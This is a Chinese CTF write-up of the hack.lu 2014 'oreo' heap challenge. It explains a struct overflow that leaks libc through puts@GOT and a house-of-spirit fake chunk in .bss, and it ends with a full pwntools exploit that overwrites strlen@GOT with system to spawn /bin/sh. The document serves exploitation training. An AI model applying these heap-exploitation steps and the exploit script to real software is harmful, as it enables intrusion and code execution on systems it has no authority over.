题目描述 题目来源:hack.lu CTF 2014 知识点:house of spirit 挺老的一道题目了,不过是how2heap和ctfwiki上的例题。题目是一个买卖枪支的系统,同样是常规的增删查改,32位程序。
1 2 3 4 5 6 7 8 9 10 Welcome to the OREO Original Rifle Ecommerce Online System! What would you like to do? 1. Add new rifle 2. Show added rifles 3. Order selected rifles 4. Leave a Message with your Order 5. Show current stats 6. Exit! Action:
保护如下:
1 2 3 4 5 6 [*] '/home/nick/pwn_learn/heapLearn/house_of_spirit/hack-lu2014_oreo' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE
程序概况 add函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 v1 = head; head = (char *)malloc (56u ); if ( head ){ *((_DWORD *)head + 13 ) = v1; printf ("Rifle name: " ); fgets(head + 25 , 56 , stdin ); sub_80485EC(head + 25 ); printf ("Rifle description: " ); fgets(head, 56 , stdin ); sub_80485EC(head); ++cnt; }
函数会读取名称和描述,并将名称 、描述 以及上一个枪支的地址 一起存入结构体中,构成一个链表结构。结构体如下:
1 2 3 4 5 00000000 rifle struc ; (sizeof=0x38, mappedto_5) 00000000 description db 25 dup(?) 00000019 name db 27 dup(?) 00000034 next dd ? 00000038 rifle ends
同时注意到,fgets函数读取的长度为56个字节,所以可以发生溢出 。
show函数:
1 2 3 4 5 6 for ( i = head; i; i = (rifle *)i->next ){ printf ("Name: %s\n" , i->name); printf ("Description: %s\n" , i); puts ("===================================" ); }
通过链表依次访问每个枪支,输出名称和描述。
Free函数 (Order): 遍历链表,依次将所有枪支都free掉,然后将链表头置0
message函数: 向dword_804A2A8
指向的地址写入字符串。而在程序开头dword_804A2A8 = (char *)&unk_804A2C0;
,所以是向unk_804A2C0处写入。
1 2 3 4 5 6 7 .bss:0804A2A8 dword_804A2A8 dd ? ; DATA XREF: leave_message+23↑r .bss:0804A2A8 ; leave_message+3C↑r ... .bss:0804A2AC align 20h .bss:0804A2C0 unk_804A2C0 db ? ; ; DATA XREF: main+29↑o .bss:0804A2C1 db ? ; .bss:0804A2C2 db ? ; .bss:0804A2C3 db ? ;
漏洞分析 泄露libc基址 因为程序通过链表 来管理枪支,恰好在枪支结构体中存在溢出,所以可以通过从name溢出到next指针 ,将next修改到任意地址,再通过show就可以任意地址读了。这里可以通过泄露puts_got,然后通过偏移来算出libc基址。
house of spirit 因为可以控制next指针,也就意味着可以在任意地方free,那么可以构造house of spirit。如果可以在massage指针dword_804A2A8
处布置好一个fake chunk用于绕过free的检查,那么就可以在此处分配一个chunk,massage指针将会被控制,从而实现任意地址写。
构造fake chunk 若要让dword_804A2A8
在chunk内部,首先需要在它的上方构造出这个chunk的size ,可以发现,在对枪支进行计数的cnt
变量刚好在0x804A2A4
的位置,所以只需要添加一定数量的枪支,就可以达到我们想要的size。
1 2 3 4 5 6 7 8 .bss:0804A2A0 dword_804A2A0 dd ? ; DATA XREF: Free+5A↑r .bss:0804A2A0 ; Free+62↑w ... .bss:0804A2A4 cnt dd ? ; DATA XREF: add+C5↑r .bss:0804A2A4 ; add+CD↑w ... .bss:0804A2A8 ; char *dword_804A2A8 .bss:0804A2A8 dword_804A2A8 dd ? ; DATA XREF: leave_message+23↑r .bss:0804A2A8 ; leave_message+3C↑r ... .bss:0804A2AC align 20h
因为一个枪支结构体的大小为0x38,加上chunk header后的size属于0x40这个fast bin,所以需要将fake chunk的size设置为0x40,也就是添加0x40个枪支 然后需要绕过对next chunk的检查 ,通过写入message,将对应next chunk的size和prevsize都构造好。(详见exp) 构造好后:
1 2 3 4 5 6 0x804a288: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a298: 0x00000000 0x00000000 0x00000001 0x00000041 <== size 0x804a2a8: 0x0804a2c0 0x00000000 0x00000000 0x00000000 <== message指针 0x804a2b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a2d8: 0x00000000 0x00000000 0x00000040 0x00000050 <== prevsize size
实现任意地址写 在fake chunk构造好后,就可以将dword_804A2A8
写入next指针,然后free,在message指针处构造好的fake chunk将会进入fast bin。 重新添加枪支,fake chunk将会从bins中取出,通过设置枪支的description,就可以修改massage指针了,此时在调用message函数就能实现任意地址写
注意 程序中没有setvbuf,所以不会及时的回显数据,在编写exp时有些时候不用recv
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p = process('./hack-lu2014_oreo' ) elf = ELF('./hack-lu2014_oreo' ) libc = ELF('/lib/i386-linux-gnu/libc-2.19.so' ) def add (name, description) : p.sendline('1' ) p.sendline(name) p.sendline(description) def show () : p.sendline('2' ) p.recvuntil('=\n' ) def free () : p.sendline('3' ) def leaveMsg (msg) : p.sendline('4' ) p.sendline(msg) def leak (addr) : add('a' *27 + p32(addr), 'a' ) show() p.recvuntil('Description: ' ) p.recvuntil('Description: ' ) res = u32(p.recvuntil('\n' , drop=True )[:4 ]) p.recvuntil('\n' ) return res libc_base = leak(elf.got['puts' ]) - libc.symbols['puts' ] system = libc_base + libc.symbols['system' ] print "libc_base : %#x" % libc_baseprint "system : %#x" % systemfor _ in range(0x40 -1 ): add('a' , 'a' ) add('a' *27 + p32(0x0804A2A8 ), 'a' ) payload = '\x00' *0x20 + p32(0x40 ) + p32(0x50 ) leaveMsg(payload) free() p.recvuntil('Okay order submitted!\n' ) add('a' ,p32(elf.got['strlen' ])) leaveMsg(p32(system) + ';/bin/sh' ) p.interactive()
相关链接 题目链接:oreo writeup参考:ctfwiki